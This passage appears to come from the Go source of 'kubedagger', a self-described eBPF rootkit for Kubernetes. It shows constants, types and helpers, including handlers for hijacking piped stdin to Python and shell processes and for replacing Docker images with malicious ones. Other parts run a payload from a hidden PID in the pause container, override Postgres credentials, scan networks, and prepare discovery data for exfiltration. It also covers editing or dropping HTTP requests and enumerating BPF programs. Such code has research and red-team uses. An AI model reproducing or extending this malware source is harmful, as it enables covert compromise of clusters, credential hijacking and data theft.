DNS response 58 | DNSResponseHandler 59 | // PutPipeProgHandler is the handler used to send a new piped program 60 | PutPipeProgHandler 61 | // DelPipeProgHandler is the handler used to delete a piped program 62 | DelPipeProgHandler 63 | // PutDockerImageHandler is the handler used to send a new Docker image override 64 | PutDockerImageHandler 65 | // DelDockerImageHandler is the handler used to remove a Docker image override request 66 | DelDockerImageHandler 67 | // PutPostgresRoleHandler is the handler used to override a set of Postgres credentials 68 | PutPostgresRoleHandler 69 | // DelPostgresRoleHandler is the handler used to remove a set of Postgres credentials 70 | DelPostgresRoleHandler 71 | // XDPDispatch is the main XDP dispatch program 72 | XDPDispatch 73 | // TCDispatch is the main TC dispatch program 74 | TCDispatch 75 | // GetNetworkDiscoveryHandler is the handler used to prepare the exfiltration of network discovery data 76 | GetNetworkDiscoveryHandler 77 | // NetworkDiscoveryScanHandler is the handler used to actively scan the network to discover hosts and services 78 | NetworkDiscoveryScanHandler 79 | // ARPMonitoringHandler is the handler used monitoring ARP replies 80 | ARPMonitoringHandler 81 | // SYNLoopHandler is the handler used for active network discovery 82 | SYNLoopHandler 83 | ) 84 | 85 | // RawPacketID is used to push raw packets to the kernel 86 | type RawPacketID uint32 87 | 88 | const ( 89 | // ARPRequestRawPacket is a raw ARP request packet 90 | ARPRequestRawPacket RawPacketID = iota + 1 91 | // SYNRequestRawPacket is a raw SYN request packet 92 | SYNRequestRawPacket 93 | ) 94 | 95 | // RawSyscallProg is used to define the tail call key of each syscall 96 | type RawSyscallProg uint32 97 | 98 | const ( 99 | newfstatat RawSyscallProg = 262 100 | ) 101 | 102 | // HTTPAction is used to define the action to take for a given HTTP request 103 | type HTTPAction uint32 104 | 105 | const ( 106 | // Drop indicates that the packet should be dropped 107 | Drop HTTPAction = iota + 1 108 | // Edit indicates that the packet should be edited with the provided data 109 | Edit 110 | ) 111 | 112 | // HTTPDataBuffer contains the HTTP data used to replace the initial request 113 | type HTTPDataBuffer [256]byte 114 | 115 | func NewHTTPDataBuffer(data string) [256]byte { 116 | // pad data with '_' 117 | for len(data) < 256 { 118 | data += "_" 119 | } 120 | rep := [256]byte{} 121 | copy(rep[:], data[:]) 122 | return rep 123 | } 124 | 125 | func NewCommBuffer(from string, to string) [32]byte { 126 | rep := [32]byte{} 127 | copy(rep[:], from) 128 | copy(rep[16:], to) 129 | return rep 130 | } 131 | 132 | func NewPipedProgram(prog string) [467]byte { 133 | rep := [467]byte{} 134 | copy(rep[:], prog) 135 | return rep 136 | } 137 | 138 | func NewDockerImage68(image string) [68]byte { 139 | rep := [68]byte{} 140 | copy(rep[:], image) 141 | return rep 142 | } 143 | 144 | type ImageOverrideKey struct { 145 | Prefix uint32 146 | Image [68]byte 147 | } 148 | 149 | const ( 150 | // DockerImageNop is used to indicate that kubedagger shouldn't change anything for the current image. 151 | DockerImageNop uint16 = iota 152 | // DockerImageReplace is used to indicate that kubedagger should replace the old image with the one provided in the 153 | // ReplaceWith field. 154 | DockerImageReplace 155 | ) 156 | 157 | const ( 158 | // PingNop means that the rootkit will not answer to the ping 159 | PingNop uint16 = iota 160 | // PingCrash means that the pause container should crash 161 | PingCrash 162 | // PingRun means that the pause container should behave as the normal k8s pause container, while running its payload 163 | PingRun 164 | // PingHide means that the pause container should behave as the normal k8s pause container, while running its payload 165 | // from a hidden pid 166 | PingHide 167 | ) 168 | 169 | type ImageOverride struct { 170 | // Override defines if kubedagger should override the image 171 | Override uint16 172 | // Ping defines what the malicious image should do on startup 173 | Ping uint16 174 | // Prefix defines the minimum length of the prefix used to query the LPM trie. Use the same value as the key. 175 | Prefix uint32 176 | // ReplaceWith defines the Docker image to use instead of the one defined in the key. 177 | ReplaceWith [64]byte 178 | } 179 | 180 | func NewDockerImage64(image string) [64]byte { 181 | rep := [64]byte{} 182 | copy(rep[:], image) 183 | return rep 184 | } 185 | 186 | func md5s(s string) string { 187 | h := md5.New() 188 | h.Write([]byte(s)) 189 | return "md5" + hex.EncodeToString(h.Sum(nil)) 190 | } 191 | 192 | func MustEncodeRole(role string) [64]byte { 193 | rep := [64]byte{} 194 | copy(rep[:], role) 195 | return rep 196 | } 197 | 198 | func MustEncodeMD5(password string, role string) [36]byte { 199 | rep := [36]byte{} 200 | copy(rep[:], md5s(password+role)) 201 | return rep 202 | } 203 | 204 | type FSWatchKey struct { 205 | Flag uint8 206 | Filepath [256]byte 207 | } 208 | 209 | func NewFSWatchFilepath(key string) [256]byte { 210 | rep := [256]byte{} 211 | copy(rep[:], key) 212 | return rep 213 | } 214 | 215 | type RawPacket struct { 216 | Len uint32 217 | Data [64]byte 218 | } 219 | 220 | func NewRawPacketBuffer(b []byte) [64]byte { 221 | var rep [64]byte 222 | copy(rep[:], b) 223 | return rep 224 | } 225 | 226 | func NewRawPacket(p RawPacket) []RawPacket { 227 | numCpu := runtime.NumCPU() 228 | var rep []RawPacket 229 | for i := 0; i < numCpu; i++ { 230 | rep = append(rep, p) 231 | } 232 | return rep 233 | } 234 | 235 | var ( 236 | // HealthCheckRequest is the default healthcheck request 237 | HealthCheckRequest = NewHTTPDataBuffer("GET /healthcheck HTTP/1.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nHost: localhost:8000") 238 | // HealthCheckRequestLen is the length of the default healthcheck request 239 | HealthCheckRequestLen = uint32(255) 240 | ) 241 | 242 | type HTTPRoute struct { 243 | HTTPAction HTTPAction 244 | Handler HTTPHandler 245 | NewDataLen uint32 246 | NewData [256]byte 247 | } 248 | 249 | const ( 250 | // DNSMaxLength is the max DNS name length in a DNS request or response 251 | DNSMaxLength = 256 252 | // DNSMaxLabelLength is the max size of a label in a DNS request or response 253 | DNSMaxLabelLength = 63 254 | ) 255 | 256 | type CommProgKey struct { 257 | ProgKey uint32 258 | Backup uint32 259 | } 260 | 261 | const ( 262 | // PipeOverridePythonKey is the key used to override a piped stdin to a python process 263 | PipeOverridePythonKey = uint32(1) 264 | // PipeOverrideShellKey is the key used to override a piped stdin to a shell process 265 | PipeOverrideShellKey = uint32(2) 266 | ) 267 | -------------------------------------------------------------------------------- /pkg/kubedagger/program.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2021 Sylvain Baubeau 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubedagger 18 | 19 | import ( 20 | "unsafe" 21 | 22 | "golang.org/x/sys/unix" 23 | ) 24 | 25 | /* 26 | struct { anonymous struct used by BPF_*_GET_*_ID 27 | union { 28 | __u32 start_id; 29 | __u32 prog_id; 30 | __u32 map_id; 31 | __u32 btf_id; 32 | __u32 link_id; 33 | }; 34 | __u32 next_id; 35 | __u32 open_flags; 36 | }; 37 | */ 38 | 39 | type bpfGetId struct { 40 | ID uint32 41 | NextID uint32 42 | OpenFlags uint32 43 | } 44 | 45 | func ProgGetNextId(prev int) (int, error) { 46 | bgi := bpfGetId{ID: uint32(prev)} 47 | 48 | ret, _, _ := unix.Syscall( 49 | unix.SYS_BPF, 50 | unix.BPF_PROG_GET_NEXT_ID, 51 | uintptr(unsafe.Pointer(&bgi)), 52 | unsafe.Sizeof(bgi), 53 | ) 54 | 55 | if ret != 0 { 56 | return int(ret), nil 57 | } 58 | 59 | return int(bgi.NextID), nil 60 | } 61 | -------------------------------------------------------------------------------- /pkg/kubedagger/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package kubedagger 18 | 19 | import ( 20 | "net" 21 | "strings" 22 | 23 | "github.com/pkg/errors" 24 | "github.com/sirupsen/logrus" 25 | ) 26 | 27 | // MustEncodeDNS returns the DNS packet representation of a domain name or panic 28 | func MustEncodeDNS(name string) [DNSMaxLength]byte { 29 | b, err := EncodeDNS(name) 30 | if err != nil { 31 | logrus.Fatal(err) 32 | } 33 | return b 34 | } 35 | 36 | // EncodeDNS returns the DNS packet representation of a domain name 37 | func EncodeDNS(name string) ([DNSMaxLength]byte, error) { 38 | buf := [DNSMaxLength]byte{} 39 | if len(name)+1 > DNSMaxLength { 40 | return buf, errors.New("DNS name too long") 41 | } 42 | i := 0 43 | for _, label := range strings.Split(name, ".") { 44 | sublen := len(label) 45 | if sublen > DNSMaxLabelLength { 46 | return buf, errors.New("DNS label too long") 47 | } 48 | buf[i] = byte(sublen) 49 | copy(buf[i+1:], label) 50 | i = i + sublen + 1 51 | } 52 | return buf, nil 53 | } 54 | 55 | // MustEncodeIPv4 returns an IPv4 in its 4 bytes long representation or fatal 56 | func MustEncodeIPv4(ip string) []byte { 57 | buf, err := EncodeIPv4(ip) 58 | if err != nil { 59 | logrus.Fatal(err) 60 | } 61 | return buf 62 | } 63 | 64 | // EncodeIPv4 returns an IPv4 in its 4 byte long representation 65 | func EncodeIPv4(ip string) ([]byte, error) { 66 | rawIP := net.ParseIP(ip) 67 | if len(rawIP) == 0 { 68 | return nil, errors.Errorf("invalid IP: %s", ip) 69 | } 70 | rawIP = rawIP.To4() 71 | if len(rawIP) == 0 { 72 | return nil, errors.Errorf("invalid IPv4: %s", ip) 73 | } 74 | //var buf bytes.Buffer 75 | //for i := len(rawIP) - 1; i >= 0; i-- { 76 | // buf.WriteByte(rawIP[i]) 77 | //} 78 | return rawIP, nil 79 | } 80 | -------------------------------------------------------------------------------- /pkg/model/model.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package model 18 | 19 | // FlowType is used to qualify the type of a flow 20 | type FlowType uint32 21 | 22 | const ( 23 | // IngressFlow is a TCP or UDP ingress flow 24 | IngressFlow FlowType = iota + 1 25 | // EgressFlow is a TCP or UDP egress flow 26 | EgressFlow 27 | // ARPRequest is used for ARP requests 28 | ARPRequest 29 | // ARPReply is used for ARP replies 30 | ARPReply 31 | // Syn is used for TCP SYN packets 32 | Syn 33 | // Ack is used for TCP Ack packets 34 | Ack 35 | // Reset is used for TCP Reset packets 36 | Reset 37 | ) 38 | -------------------------------------------------------------------------------- /tools.go: -------------------------------------------------------------------------------- 1 | //go:build tools 2 | // +build tools 3 | 4 | /* 5 | Copyright © 2023 MOHAMMED YASIN 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package tools 21 | 22 | // Those imports are used to track tool dependencies. 23 | // This is the currently recommended approach: https://github.com/golang/go/wiki/Modules#how-can-i-track-tool-dependencies-for-a-module 24 | 25 | import ( 26 | _ "github.com/shuLhan/go-bindata/cmd/go-bindata" 27 | ) 28 | --------------------------------------------------------------------------------